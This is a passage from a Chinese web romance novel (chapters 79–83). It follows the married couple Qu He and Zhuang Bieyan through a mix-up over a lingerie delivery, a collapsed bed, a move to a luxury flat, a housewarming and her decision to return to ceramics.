她学着刚才庄别宴的话,赶紧找补,“那.....那你呢?这几天工作忙不忙?有按时吃饭吗?”
问完她就后悔了,这问法也太直女了吧,有种例行公事的感觉,好生硬。
然而屏幕那头的庄别宴脸上却没什么变化,只是眼底的笑意似乎浓了些。
手机听筒传出他低沉的笑声,还带着几分磁
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磁的沙哑:“有按时上班,有按时吃饭,也有....按时想你。”
后面那几个字,说得很轻,像情人间的呢喃。
曲荷:“!!!”
她嘴巴不自觉张了张,可是一个字也说不出来,只是呆呆地看着屏幕里的人。
该死!
明明主动出击追人的人是她,怎么现在反而感觉她才是那个被撩到的人?
真没出息,居然被他这么几个字就带偏了。
她有点懊恼,怎么她自己就想不到这种级别的话术呢?
我的互联网老师们,你们的造诣还要继续精进啊。
曲荷清了清嗓子,生硬地转移话题,“那个.....我的快递,都...都在吗?”
“都在,有三个盒子。”他答道。
“那你.....方便帮我拆一下吗?我看看要不要退货。”
“好。”庄别宴应得爽快。
视频画面随着他的动作晃动起来,他拿着手机走到客厅,找了个合适的位置摆好,然后开始拆快递。
前两个很快拆完,是她买的车内小挂件和香薰。
庄别宴拿起来给她看过后,开始拆最后一个粉色快递盒。
那头,小刀划破胶带的声音刚传过来,曲荷的手机顶部就弹出了司月的新消息:
【学姐!忘了说!那个粉色盒子的快递你记得一个人偷偷拆哦~(坏笑.jpg)】
看着她那个坏笑表情,曲荷心里咯噔了一下,一种不祥的预感油然而生。
她猛地抬头看向视频,好巧不巧,正好对上庄别宴看过来的眼神。
屏幕里,庄别宴手指捏着一件淡粉色的连体吊带裙,包边还是蕾丝边,布料薄得几乎透明。
曲荷愣住。
庄别宴似乎也愣了一下。
但,这还没完!
他又从盒子里拎出了另一件。
这件更加火辣了,红色吊带,布料少得可怜,只能遮住几个重点部位,根本不能称之为衣服。
曲荷感觉自己的脑袋彻底**了,血液倒涌上头顶。
她想挖个地洞钻进去!
这!就是司月说的“秘密武器”和“狠办法”?!
情!趣!内!衣!???
第79章 不会吧,床塌了??
曲荷看着庄别宴一手拎着一件,目光在衣服和屏幕间转了一圈,拖长了调子:“这....是你买的?”
“这....这...这不是我的!”
曲荷整个人像被点着了,恨不得钻进手机屏幕里解释,头都快摇出飞影,“真的不是!我没买过!”
庄别宴疑惑的“哦?”了一声。
他拿过旁边的快递盒,在上面的收件人消息上点了两下:“可是这上面的号码和名字,都是你的啊.....老婆。”
老婆?
两个字像带了电,穿过屏幕钻到了曲荷心上。
她本就红的脸现在又深了几分,手机都差点拿不稳,急得在房间里来回踱步。
“是司月!是司月买的!我发誓!”
她举起三根手指,眼神急切又真诚,恨不得把心掏出来以证清白。
庄别宴看着她这副模样,眼里的笑意又深了几分。
这三天没收到她的消息,也没看到那几个软乎乎的兔子表情包,心里总觉得空落落的像缺了一块。
人就是这样,一旦尝过甜头,再想回到原点就格外煎熬。
所以刚才一看到她的消息,他假装“不小心”打湿了睡衣,换上了浴袍。
却没想到,还有这样的意外之喜。
他故意把两件衣服往镜头前凑了凑,装作不解:“司月?她为什么会想起给你买这个?”
“她....!”
曲荷语塞
难道要她说因为自己在“追”他,所以司月给她想出了这个馊主意?
那还不如让她原地消失!**算了!
“你....你别管了!反正不是我买的!”她开始耍赖。
庄别宴没再逼问,只是看着手里那几乎没什么分量的布料,嘴角那抹笑意再也抑制不住。
曲荷看到他这抹笑,心头一紧。
她脱口而出:“你别看了!快收起来!你放心,我....我没打算穿给你看!”
庄别宴眼神一凝,话里带上了几分危险的意味:“嗯?不打算穿给我看?那你还想穿给谁看?”
“我不是那个意思!我也没想穿给别人看!”
庄别宴还没打算放过她,手指勾着衣服看向她,“真的..从来没想过,穿给我看?”
“当..当然没有!绝对没有!”
“为什么?我感觉...它很配你。”
他的眼神像钩子,顿了一下继续说,“当然,这只是我的个人建议。毕竟阿荷如果穿上,唯一能欣赏到的人,只有我。”
曲荷急得都快跳起来了,“谁..谁要给你欣赏了,我谁都不穿!你快收起来!”
看她真急了,庄别宴不忍再逗她,把衣服叠好放进盒子里,只是眼底的笑意还没完全消散。
曲荷松了口气,内心把司月问候了一百遍,她故作镇定看着庄别宴,催眠自己刚才都是在做梦。
庄别宴拿起手机,把脸凑了近些,灯光下他的眉眼轮廓清晰分明。
“明天回来?”
“嗯。”
“我来接你。”
“哦....好。”
两人一时谁也没有说话,可目光相碰那瞬间,空气里好像变得粘稠起来,带着不言而喻的期待和燥热,让人口干舌燥。
“阿荷。”他忽然低声叫她。
“嗯?”
“没事,”他笑了笑,“只是想叫叫你。”
明明只是一句简单到不能再简单的话,甚至没有任何露骨的含义,曲荷却觉得脸上刚刚降下去的温度又窜了上来。
“我....我要睡了!”
“好,睡吧。”
道了晚安,曲荷拿着手机躺上床,可视频通话还在继续,谁都没有主动挂断。
灯灭。
手机屏幕的亮光明明灭灭。
静夜里,呼吸清晰。
不知过了多久,听筒里隐约传来几声压抑的的轻唤,带着磨人的沙哑。
“阿荷....阿荷...”
“唔...老婆....”
......
次日早上。
曲荷迷迷糊糊醒来,想摸手机看时间,可手机屏幕却是黑的。
没电自动关机了。
插上充电器,等她洗漱回来,手机已经自动开机。
她点开微信,看到和庄别宴的聊天记录最下方那一行小字时,瞪大了眼睛。
视频通话时间八个小时!!??
难怪手机没电自动关机了。
她明明记得昨晚她说了要睡,可谁都没舍得先挂。
后来.....
耳边似乎还残留着他那几声压抑的闷哼。
曲荷捂着脸,很不争气的脸又红了。
飞机划过北城天际,落地已是晚上八点。
曲荷跟着人流走出接机口,几乎一眼就看到了站在不远处低头看手机的庄别宴。
他穿着简单的休闲衬衫和长裤,身姿挺拔,在人群中格外显眼。
几乎是同时,她手里的手机震动了一下,他的电话打了进来。
她接通,不等他开口,轻轻说:“回头。”
人潮熙攘,两人的目光却穿过人群相撞。
四目相对瞬间,曲荷心漏了半拍,明明才分开了三
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天,却像是隔了好久好久。
庄别宴脚步匆匆朝她走来,周围的人流都成了模糊的背景。
两人谁都没有挂电话。
曲荷就这样,看着他穿过人群,一步步走到自己面前。
他停在她面前,微微俯身。
手机里传来他带着笑意的声音,和耳边的气息重叠,“找到你了。”
简简单单四个字,曲荷却心跳失控了。
她感觉自己胸膛里住了只小鸽子,马上就要扑腾翅膀飞出来了。
回程的路上,庄别宴车开得比平时快了些。
车里很安静,空调风呼呼吹着,曲荷能清晰地听到自己的心跳声。
暧昧在车内无声流淌。
两人都心照不宣,今晚,注定不同。
迈巴赫开到白玉湾,坐电梯上楼的时候,庄别宴一直牵着她的手。
刚进家门,甚至来不及开灯,她就被他反手按在门背上,铺天盖地的吻落了下来,急切而滚烫。
庄别宴掐着她的腰,把她往上提了提,让她更靠近自己。
曲荷顺从地搂住他的脖子,生涩却积极地回应着。
等她稍微回过神,才发现自己已经被他托抱起来,两条腿下意识地缠在了腰间。
“阿荷...阿荷....老婆...”
他一遍遍轻声叫她的名字,声音暗哑。
四片唇瓣短暂分离,他低着她的额头。
黑暗中,他那双琥珀色的眸子却亮得惊人,里面翻涌着毫不掩饰的渴望,让人忍不住沉沦。
曲荷捧着他的脸,气息有点不稳:“我....想先洗个澡。”
“好。”
他抱着她走向浴室,反手关上了门。
淅淅沥沥的水声夹杂着几分难以自抑的呜咽传了出来。
氤氲的水汽模糊了镜面,不知何时多了两只交叠的手印,水渍缓缓滑下....
两人披着水汽出来,曲荷被轻轻放床上。
她刚躺下,就感觉听到身下传来一声奇怪的“嘎吱”声,床垫好像晃了一下。
但还没来得及细想,庄别宴就俯身靠了下来。
“阿荷,看着我。”
曲荷抬眼,撞进他含笑的眼眸深处。
他的吻落了下来,带着隐忍许久的克制,引着她一步步进入意乱情迷的深海。
灯灭。
就在这时,身下嘎吱声更加清晰了。
“嘎吱....嘣!轰隆!”
断裂声响起。
一个天旋地转。
床塌了!!
曲荷:“?!?”
庄别宴:“.......”
第80章 合法夫妻怕什么?
黑暗中,曲荷被庄别宴抱在怀里,大脑还处于宕机状态。
脑袋空空,完全没反应过来,刚才发生了什么....
“啪嗒。”
灯亮。
旖旎暧昧一扫而空,只剩下满地的狼藉和.....无尽的尴尬。
曲荷被庄别宴半扶半抱到了旁边的椅子上,才稍微从缓过神来。
她看着卧室中间,床中间落下一块凹陷,断裂的床板缝隙间还卡着床单。
曲荷终于艰难地接受了这个事实,床,真的塌了!
早不塌玩不塌,偏偏在他们滚到一起的时候塌了?
庄别宴半蹲在她面前,捏着她的手腕转了转,又检查了下她的膝盖,“有没有哪里磕到?疼不疼?”
曲荷愣愣地摇头,目光还在那张“阵亡”的床上。
他这才松了口气,随手抓起一件T恤套上,然后在她身边坐下。
不知是谁先没忍住,一声淡淡的轻笑打破了沉默。
两人对视了一眼,不约而同低笑出声,笑声越来越大,无奈中又带着几分好笑。
这种只有百分之一概率的事情居然真能被他们碰上!
曲荷后来笑得直接倒在了庄别宴身上,捂着肚子“哎哟哎哟”叫着,眼泪都笑出来了。
“笑什么?”
“这床是不是..和我们有仇啊?”
庄别宴托着她的腰,让她靠得更舒服些。
他低头看着怀里人,无奈又宠溺地摇头,但却不忘帮她拍背顺气。
曲荷好不容易止住笑,一抬眼,就看到了床头柜上那个刚刚拆封的小方袋,刚撕开都还没派上用场。
果不其然,它今晚的归宿,看来又只能是垃圾桶了。
庄别宴顺着她的目光看过去,伸手帮她擦掉了眼角的泪,无奈感叹:“看来这条路....还真是任重道远。”
曲荷好不容易压下去的笑意又涌了上来,趴在他肩头闷闷地笑,肩膀一抖一抖。
庄别宴轻拍着她的背,声音里也含着笑:“庄太太,再笑下去,我们今天晚上真要露宿街头了。”
曲荷赶紧收了笑,看着卧室里的一片狼藉,开始认真思考庄别宴的话。
这样子,肯定是没法睡了。
这张床还是她当初刚搬进白玉湾时,趁着网购大促销买的,质量有这么差吗?
她睡了那么多年都没事,怎么多了个人就....
不过现在想想,这张床尺寸确实小了点,庄别宴好几次睡觉都蜷着腿,也是难为他了。
曲荷:“那现在怎么办?我们总不能真打地铺吧?”
“回庄宅?”他提议。
“不行!”
曲荷想都没想就拒绝了。
“回庄宅太丢人了!要是被留月姐知道,我这辈子就抬不起头了!”
庄别宴揉了揉她的头发:“那去酒店?”
曲荷:“嗯,好像也只有这个办法了。”
说走就走。
两人简单收拾了些必备用品,就开车去了酒店。
迈巴赫疾驰在夜色里,缓缓停在了瑰丽酒店门口。
两人刚走进,酒店经理就快步迎了上来,态度恭敬:“庄总,晚上好。已经按照您的要求,准备好了顶楼套房。”
庄别宴微微颔首。
进了房间后,曲荷问:“你什么时候订的酒店?速度也太快了吧?”
庄别宴还在整理衣服,回头看了她一眼,笑道:“庄太太,看来你很有必要了解一下你先生的产业版图了?”
“嗯?什么意思?”曲荷没反应过来。
“这家酒店,是庄氏集团旗下的产业之一。”
曲荷:“!!!”
什么?!
怪不得刚才下车进门,前台和经理看他们的眼神都带着一种“懂的都懂”的感觉。
“那...那我们今晚来住酒店的事,还是被泄露了?”
曲荷哀嚎,用被子蒙住头,把自己裹成一团,“完了完了,我真的没脸见人了!”
庄别宴看着床上那团大白,走过去连人带被子捞进怀里,“什么叫泄露?就算知道了又怎么样?我们是合法夫妻。”
曲荷没作声。
庄别宴叹气:“那怎么办?要不我去‘收买’一下他们,让他们保守秘密?”
曲荷钻出半个头:“算了算了。”
庄别宴低笑,帮她理好头发:“别担心,能在庄氏做到这个位置的,最基本的职业素养和保密意识还是有的。”
曲荷在他怀里闷闷地嗯了一声。
庄别宴看着怀里人,无声地笑了笑。
看来,今晚又得靠自己的意志力了。
......
瑰丽酒店一楼大堂。
安达拿着房卡走到乔眠边上,发现她正看着手机屏幕出神。
“怎么了?”他关切地问。
“没事。”
安达搂着她的腰,“那上去吧,明天的手术,晚上早点休息。”
“嗯。”
乔眠收起手机,接过房卡,手指却微微发紧。
刚才那个女人,分明是曲荷。
可她旁边的男人是谁?看刚才酒店经理恭敬的样子,显然身份不凡,他们刚才走的还是酒店VIP通道。
可曲荷的老公不是开花店的吗?
怎么会出现在这里?
而且她总觉得,那个男人的背影......有些眼熟。
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乔眠攥紧手机,想起刚才偷拍下的那个模糊背影,或许该找人好好查一查了。
......
曲荷怎么也没想到,搬出白玉湾,居然是因为一张塌掉的床。
那晚后,庄别宴本想换一张大一点的床,但曲荷想了想还是决定搬家。
“你看啊,”她掰着手指头和庄别宴说。
“首先,这房子两个人住确实有点小了,书房只有一个,你总让我用,自己去餐厅办公多不方便?”
“而且楼下的停车位确实有点小,你的车都被刮了好几次了。迈巴赫诶!我看着都心疼。”
最后一个原因,曲荷没说。
这都第三次了!每次都在最关键的时刻掉链子!她都不得不信玄学了。
搬家的事曲荷全权交给了庄别宴,本以为怎么也得在酒店住上个把星期,没想到才第三天,他就带她去了新家。
万华园是北城顶级豪宅,和北山墅相隔不远。
“我们来这里干嘛?”
“来看我们的新家。”
曲荷被他带着参观了整个房子。
顶楼三层复式布局,客厅的全景落地窗正对着江景,夕阳缓缓沉入江面,天际金红一片,而另一侧,远方是连绵青山。
曲荷走到床边,忍不住惊叹。
豪宅啊!
真是被自己穷笑了。
庄别宴从身后环抱住她的腰,下巴搁在她的颈窝,“喜欢吗?”
曲荷点头,转过身面朝他,“你什么时候买的?这布置...可不是临时就能准备好的。”
她想起刚才参观的时候,屋内的装潢布局都是按照她的喜好来的,家具品牌也是她喜欢的那几个。
尤其,刚才她还看到楼上有一个专门的陶艺工作间,里面的拉坯机和设备都和荷月坊里她常用的一模一样。
“娶你的那天。”庄别宴低头,鼻尖碰了碰她的额头。
曲荷:“那么早?那....如果床没塌,你就不怕我们一直不住进来吗?”
他搂紧她的腰,把她抱得更紧:“没关系,有你在的地方就是家。这些只是锦上添花,但该准备的都不能少,婚房也是如此。”
曲荷她靠在他怀里,轻声说:“庄别宴,你知道吗?我小时候有个很奢侈的梦想,就是想住在一个既能看见山,又能看到江海的房子里。”
万华园之所以价冠北城,就是因为它无可复制的绝佳地理位置和景观。
她看着窗外的景色,“不知道万华园的老板是谁,真是太懂我的心思了,简直就是我的知音。”
庄别宴听到她的话,嘴角忍不住扬起,“想见见他吗?”
第81章 第53朵花
曲荷惊讶地回头:“你认识他?”
庄别宴点点头:“嗯,很熟。要不要我帮你约个时间,正式见一面?”
曲荷摆摆手拒绝,“还是算了吧。人家那么大一个老板肯定很忙,要是知道我这个梦想,说不定会觉得很好笑。”
“怎么会?我倒是觉得,他一定很懂。”
“怎么可能。”
曲荷失笑,只当他在安慰自己,“那是我小时候的梦想,这么小众,没人会知道的。”
她很快就**上的晚霞吸引了注意力,很快就把这个话抛到了脑后。
阳光透过落地窗洒满整个客厅,也笼罩着她,如梦似幻。
庄别宴站在她身后,看着她被夕阳镀上金边的背影,眼底的温柔快要溢出来。
阿荷,欢迎来到我们的家。
这是我们的第一年。
也是我为你实现的,第一个梦想。
......
搬家正式提上日程,曲荷收拾完行李才用了不到半天。
离开前,她站在白玉湾楼下,抬头看着那扇熟悉的窗户,满是不舍。
庄别宴安静地陪在她旁边,没有催促,只是一直牵着她的手。
曲荷最后看了眼,收回目光,“走吧。”
庄别宴把她的手握得很紧,“以后要是想这里了,我们随时可以回来住。”
曲荷故意板着脸看向他,“庄别宴,如果以后你惹我生气了,我就一个人搬回这里,让你再也找不到我。”
她话音刚落,就被庄别宴用力搂进怀里,“我不会给你这个机会。”
阿荷,无论你去了哪里,我都会找到你。
搬进万华园第一天,总要有点仪式感,曲荷决定庆祝一下乔迁之喜。
庄别宴眼底染上期待,本以为会是二人世界,可下一秒就看到曲荷拿出手机,一个接一个地打电话。
“留月姐!今晚有空吗?”
“司月,别忙了,晚上过来吃饭!”
“嘉鱼姐!晚上有空来玩吗?”
每多邀请一个人,庄别宴的脸色就肉眼可见地沉下去一分。
曲荷挂断和庄留月的电话,数了数人数,忽然想起什么。
她对庄别宴说:“我没有郁汕的联系方式,要不你邀请一下他吧?”
庄别宴眉头拧紧:“需要邀请这么多人吗?”
“这你就不懂了吧!”
曲荷眉眼弯弯,“这叫暖房,朋友来得越多,新家的福气和好运就越旺!”
她要发财!
庄别宴:“郁汕他没空。”
曲荷没好气地瞪他一眼:“你都没问!”
最终,在曲荷的威胁下,庄别宴还是屈服了,当着她的面不情不愿地给郁汕打了电话。
曲荷满意地点点头,然后摩拳擦掌,宣布:“那为了庆祝,今晚就由曲大厨,亲自给大家露一手,做一道我的拿手好菜!”
庄别宴的醋坛子都快翻了。
他都还没吃过她亲手做的菜,这帮人倒是先有口福了?
“不行,”他立刻否决,理由充分且无法反驳,“你上次受伤了。”
“哎呀,那只是个小意外。”
最终,在曲荷信誓旦旦的保证下,并允诺了一系列不平等条约后,庄别宴终于勉强点头,批准了她重返厨坛的申请,但仅限一道菜。
她兴奋地拉着庄别宴去超市买食材,庄别宴就推着购物车在她后面跟着,看她在两个看不出差别的西红柿里纠结。
“你说,西红柿炒蛋,用哪个比较好?”
但最终她选了根青瓜,因为无法决定西红柿炒蛋放盐还是放糖,所以临时改成了青瓜炒蛋。
买完食材回家的路上,经过了街角的花店。
精致的门头一下子吸引了曲荷注意,曲荷眼前一亮,立刻让庄别宴停车。
“进去看看吧,买点花放在家里。”
她拉着他推开玻璃门,风铃发出清脆的叮咚声。
店内布置得非常有格调,满室繁华,像是误入春天,可见老板品味不俗。
听到动静,老板从里间走出,热情地迎了上来。
是一位气质温婉的大美女。
美女老板在看到庄别宴后,熟络地打了声招呼:“庄先生?今天您亲自过来啦?还是和之前一样,五十三朵粉荔枝?”
曲荷在听到老板叫出庄别宴名字的时候时,就惊讶了一下,再听到后面那句“五十三朵粉荔枝”,更是瞪大了眼。
她扭头看向身边的男人。
“你认识老板?”
庄别宴面色滞了一下。
美女老板眼神在曲荷和庄别宴之间转了转,了然一笑:“这位一定就是曲小姐吧?庄先生订的花都是送给您的,今天终于见到本人了,比我想象中还要好看。”
曲荷礼貌地笑了笑,她看着庄别宴脸上难得一见的表情,心里已经猜到了七八分。
“老板,我之前收到的那些粉荔枝,都是您帮忙挑的吗?”
“是呀!”
老板笑着点头,“庄先生可是我们店的VVVVIP客户呢,隔段时间就预定花,他还特意交代一定要选最好最新鲜的花。您还喜欢吗?”
“很喜欢。可是....我每次收到花的时候,都只有五十二朵。”
她看向老板,“您刚才说,他订的是五十三朵?”
老板闻言解释:“剩下的那一朵,庄先生要求单独用小玻璃瓶装好,他自己带走了。他说...”
她顿了下,笑得明媚,“他说等她那朵快枯萎的时候,就是该给您送下一束新鲜花的时候了。”
曲荷的心跳骤然漏了一拍。
原来那些无缝衔接的新鲜粉荔枝,不是巧合,是有人在用这种细腻浪漫的计时方式。
离开花店的时候,曲荷怀里抱着一束新买的粉荔枝,香气萦绕在鼻尖,但比花香更甜的是她那颗心。
夜色渐深。
郁嘉鱼临时打来电话要和顾聿处理点事情,庄禧被庄毅带
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着去了隔壁市度假,最终来的只有司月,庄留月,还有郁汕。
庄别宴还是没舍得让曲荷下厨,甚至连自己也没动手,直接安排了私厨团队上门做菜。
郁汕看着满桌的精致菜,遗憾叹了口气:“唉,还以为今天终于能蹭上老二亲手做的菜呢,看来是没这个口福喽。”
曲荷笑着接话,“你们都认识这么久了,还能吃不上他做的?”
郁汕:“就他?别了吧,吃他一顿饭,能把你坑地剥下一层皮。”
曲荷:“那你下次来,我给你做。”
郁汕眼睛一亮,刚要接话,就对上了庄别宴看过来的眼神。
他立刻把后面的话咽了回去,摸了摸鼻子,埋头吃饭。
喧闹散场,夜色浸了一地。
曲荷洗完澡走到露台上看江景。
夜风带着江水的潮湿气扑面而来,城市灯火,蜿蜒江景,令人心醉。
她扭头看着刚洗完澡的人,“庄别宴,我们喝点红酒吧?庆祝一下。”
庄别宴很快拿了瓶酒走来。
他倒酒的时候,曲荷却忽然想起什么。
“等等!我先吃个药。”
“药?”庄别宴动作一顿,“什么药?你不舒服吗?”
曲荷被他紧张的样子逗笑,连忙解释:“没什么,就是解酒药。你之前不知道,我有个小毛病,喝酒如果不提前吃药,就会控制不住地流眼泪,止都止不住那种。”
她说完,转身小跑着回房间。
看着她跑开的背影,庄别宴握着酒瓶的手顿了下。
所以上次在校庆典礼上,她哭的原因是这个?
难以言喻的狂喜涌上心头,原来,她的眼泪,不是为钱昭野而流。
曲荷吃完药回来,就看到了庄别宴上扬的嘴角。
她好奇地问他:“看到什么了?笑得这么开心?”
庄别宴回神,垂眸看她,眼底是化不开的温柔。
他伸手轻轻把她被风吹乱的发丝别到耳后,“没什么,只是觉得....今晚的月色特别美。”
两人就着江景和星光共饮。
曲荷脸上染上了绯红,眼神也开始变得迷离柔软。
庄别宴拿过她手里的酒杯:“时间不早了,该去睡觉了。”
他牵着她走向卧室。
房门合上,曲荷被他放倒在床,他的吻很快落了下来,强势又缱绻。
是红酒味的。
“唔....”
曲荷被他突如其来的攻势吻得晕头转向,终于得到喘息的机会。
她小声**,“我....我晚上都没进厨房,说好的一道菜呢?”
庄别宴低笑,手指摩挲了下她的唇瓣,“没关系,那就当是,为下一次....提前收取报酬。”
曲荷剩余的话被彻底封缄。
窗外江景依旧,只是月光慢慢躲进了云层。
卧室里只剩下交缠的呼吸。
夜色漫长,属于他们的第一个夜晚,才刚刚开始。
第82章 “没事,你不用管我”
万华园与北山墅相距不远,搬入新家后,庄留月经常带着小庄禧来串门。
曲荷在一次和庄留月聊天的时候才知道,庄别宴的生日快到了。
八月七日,还剩下一周多一点时间。
这是他们结婚后庄别宴过的第一个生日,更何况还是他三十岁生日,意义非凡。
该送什么礼物,是一个大难题,曲荷有点愁。
想起上次司月的“秘密武器”,这次她是万万不敢再咨询这个狗头军师了。
曲荷只好在网上疯狂搜索各种生日礼物攻略帖:
【老公生日收到什么礼物会觉得惊喜?】
【物质欲极低的男人,生日送什么好?】
【老公三十岁生日,什么礼物能让他炫耀三天三夜?】
可是刷了半天,推荐的都是领带,袖口,打火机什么的,其他就是一些电子游戏产品,但都和庄别宴的气质不太符合。
越刷越乱,不仅没找到灵感,还把自己整得焦虑了。
她正打算放下手机休息一下,首页就推送了一条视频。
标题醒目吸睛:【青年油画家燕舒低调回国参加开窑节,或将与国内陶艺大师展开合作】。
看到“开窑节”三个字,曲荷下意识点了进去。
本以为是介绍开窑节活动的,可视频却是粉丝在机场的跟拍。
一个被粉丝簇拥的女人在柔声回答问题,面对镜头笑得温婉。
粉丝很热情,“燕舒姐姐这次回国会待多久呀?参加完开窑节就马上回英国了吗?”
被叫做燕舒的女人笑了笑:“这次应该会待得久一些,除了参加开窑节,也和几位老师有合作在谈,大家可以期待一下。”
“哇!太期待了!”粉丝欢呼。
曲荷的目光落在视频里的燕舒身上。
她披着黑色长直发带着一顶贝雷帽,白色刺绣上衣搭配棕色油画拼接半身长裙,颈间松松系着一条真丝长巾,优雅又气质。
旁边又有粉丝兴奋地说:“那这次终于可以多看看姐姐了!”
燕舒语气亲切:“谢谢你们的支持。其实最近和团队确实也在商量,计划将部分工作重心逐步转移回国内。以后我们见面的机会应该会多起来的。”
这话引得粉丝一阵激动尖叫。
有**胆追问:“是因为好事将近了吗?姐姐!”
燕舒的笑容更深了几分,笑得神秘:“如果真有好消息,一定会第一时间告诉大家。”
“哇!看来姐姐和Z先生终于要修成正果啦!”粉丝中有人起哄。
燕舒没有承认也没有否认,在机场外给几位粉丝签了名后,弯腰坐进了一辆黑色车。
“大家拜拜,回去注意安全。我晚上要和朋友一起吃饭,会给大家发照片的。”
“姐姐拜拜。”
镜头最后定格在车门关上的瞬间。
曲荷看着视频里的那辆车,莫名觉得有些眼熟,正想再看得仔细一点,庄别宴的电话突然打了进来。
他说晚上临时有个应酬,会晚点回来,不用等他。
挂断电话后,曲荷还想回去找那个视频,可页面早已自动刷新。
她心里犯嘀咕,索性在网上搜了下“燕舒”这个名字。
燕舒,青年油画家,大学去了英国留学,专攻油画。毕业后她加入了英国非常有名的工作室,出色的才华再加上她的美貌,在社交媒体上收获了不少粉丝。
她账号里除了分享画作动态,偶尔还会提到一位神秘的“Z先生”,字里行间满是少女心事,不少粉丝都是两人的CP粉。
曲荷随便刷了一会儿,兴致缺缺,很快就退出了页面。
接下来的几天,曲荷一边忙着给庄别宴准备生日礼物,一边在纠结要不要参加开窑节。
北城郊外的凤凰山,以古窑址闻名。二十年前八月的一场暴雨,冲刷了山体,让考古学家发现了在这里的三座窑址,分别是东汉、西晋和三国时期。
同一地点发现三个不同朝代的窑址,极为罕见,因此它被列为重点文化遗产。
后来,北城文旅局在山脚下新建了一座现代化的柴窑,沿用“凤凰窑”的名字。
后来每年八月都会在这里举办开窑节,借此弘扬陶瓷文化。
每年都会选出一部分优秀的当代陶艺作品,和大师们的作品一起入窑,再由经验丰富的老师傅督烧三天三夜。
今年是凤凰窑建成十周年,开窑节也办得比往年隆重,据说还特意邀请了不少海内外的陶艺大家。
自从毕业后,曲荷就再没有参加过开窑节。
没有拿得出手的作品,去了也只能作为一名普通游客挤在人群里,看着别人光彩熠熠,反而会勾起心底的遗憾。
接到周时安电话时,是一天后的晚上。
曲荷刚洗完澡出来,庄别宴就把她的手机递了过来,意味深长说了句:“你邻居哥哥刚才来电话了。”
曲荷没听出他话里隐藏的醋意,只是疑惑周时安怎么这么晚还打电话过来。
她接过手机准备回拨过去。
“你帮我接了吗?”她随口一问。
“嗯。我说....你在洗澡。”
曲荷:“……”
正想说他两句,电话已经接通了。
她只好先接起,拿着手机走向客厅,以免打扰到他休息。
卧室里,庄别宴看着她边走边接电话的背影,眼神微微眯起,眸色深沉了几分。
曲荷走到客厅沙发坐下,“喂?时安哥?是有什么事吗?”
周时安:“也没什么大事。上次和你说的开窑节,我老师也会来参加,你如果去的话我可以帮你引荐一下。”
曲荷心下一动,正想说什么,就看到庄别宴走了出来。
他拿着个玻璃杯走向厨房,像是要去接水。
见她看过来,他扬了扬下巴,语气听着自然:“没事,你忙你的,我喝水,不用管我。”
曲荷“嗯”了声。
正打算
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说话,就听到“哐当”一声脆响。
厨房门口,庄别宴手里的玻璃杯摔在地上,水渍混着玻璃碎片溅开一地。
曲荷吓了一跳,捂着听筒问他,“没事吧?”
“没事,你继续打电话,我会收拾的,你不用管我。”
他弯腰收拾碎片,又去阳台拿了扫把,不紧不慢地开始扫地。
曲荷见他没什么事,继续和周时安说话,“....没事没事,我在听,时安哥你继续说吧..”
她说着话,可是沙沙的扫地声在客厅里的声音存在感太强。
扫着扫着,他就从厨房扫到了客厅。
“抬脚。”
“哦。”
“我扫个地,没事,你不用管我。”
“……”
好不容易扫完地,终于消停了会。
可庄别宴却突然走过来坐在了她旁边。
曲荷给了他一个“你要干嘛”的眼神。
庄别宴:“没事,我找点东西,你不用管我。”
说着,他就弯腰开始在沙发前的茶几下储物柜里翻东西。
也不知道他在找什么,储物柜里的东西都被他拿了出来。
庄别宴的动作幅度很大,睡衣扣子不知道什么时候被解开了两个,领口肆意敞开,露出了紧实的肌肉,随着呼吸缓缓起伏。
暖光色的灯光打在他胸前那片“春光”上,曲荷的目光不受控制被吸引。
她只觉得脸好像有些烫,至于电话那头周时安说了什么,她一个字都没听进去。
庄别宴好像找到了他要的东西,稍微调整了下坐姿,那片“春光”暴露得更加彻底了。
这时,他突然看向曲荷,在看到她脸上的红晕后,勾了下唇。
他朝她倾过去,声音沉沉,“老婆,怎么感觉你的脸有点红?很热吗?空调要不要帮你开低一点?”
曲荷:“......”
他的声音不大,但足以让电话那头的人听清。
电话那头,周时安顿了顿,问:“曲荷,你旁边有人吗?”
曲荷手忙脚乱地对着话筒说了句:“时安哥,我这边突然有点事,先挂了。”
然后她飞快地挂断了电话。
庄别宴慢悠悠问,“怎么挂了?不多聊会?”
曲荷没好气瞪了他一眼:“庄别宴!你干嘛!”
庄别宴语气无辜:“怎么了?我只是怕你热而已。”
曲荷:“.....你..”
庄别宴慢慢俯身,把她圈在了沙发和他的怀抱之间,手指戳了戳她发烫的脸,“你看看你脸这么红,难道不是热的?”
曲荷低头,从另一边找了个空隙钻了出来,“你别胡说。”
他一步步朝她走过来,一脸坦然地承认,“好吧,其实我主要就是想看看,你和邻居哥哥,有什么话要聊这么久。”
他这么坦率地承认,倒是把曲荷打得手足无措。
她张了张嘴,可在看到他眼里的滚烫后,一句话也说不出来了...
第83章 共担风雨,共享霓虹
曲荷最终还是决定去参加开窑节。
她把周时安的话和自己的想法原原本本地告诉了庄别宴。
辞职后她其实一直在逃避,荷月坊有司月在打理,她不用操心,但还是时不时会感到一种前路未卜的迷茫。
司月一直和她说可以继续往陶艺上深造,继续完成当年的梦想。可是阔别五年,现在等于重新开始,她也会害怕。
但司月的话总是让她想起自己那个渺小却伟大的梦想,她想让自己的作品登上巴塞尔陶艺展。
而参加开窑节就是迈出的第一步。
庄别宴听完她逃避的倾诉,没直接说去不去,只是握紧了她的手,“阿荷捏泥巴的时候,眼睛是亮的。”
曲荷手指颤了下。
庄别宴:“你想,就去做,万事有我。”
曲荷抬头看他,心底最柔软的地方被触动了一下。
她说:“我做瓷会很投入,可能要经常外出采风,去寻找合适的泥土,还要筛泥,练泥,很有可能会顾不上家,这些你都不介意吗?”
以前钱昭野就很介意。
他不让她碰这些,在他眼里自己的梦想不值一提,甚至他还觉得,这是“脏东西。”
庄别宴不认同她的话,他看着她的眼睛,一字一句,无比认真:“阿荷,记住,你首先是你自己,然后才是我的妻子。在我这里,你永远拥有追求梦想的自由。”
他顿了顿,语气变得更加温柔而郑重:“你知道吗?其实比起粉荔枝,我更想送你一株木棉。”
“你永远不是谁的陪衬,而是独立的个体,你不用攀着谁成长,我们可以并肩而立,共担风雨,共享霓虹。而你,更应该在爱和尊重里,无所畏惧地自由成长。你尽情去追你的窑火,家里的灯永远为你亮着。”
曲荷怔住了,眼眶发热,鼻子也酸了。
他说的每一个字,都敲在她了心上,那些自我怀疑和摇摆像暖阳下的雪,慢慢消失了。
前几年她一直觉得自己像片居无定所的树叶,随风来随风去,可庄别宴却告诉她,她本身就是颗树。
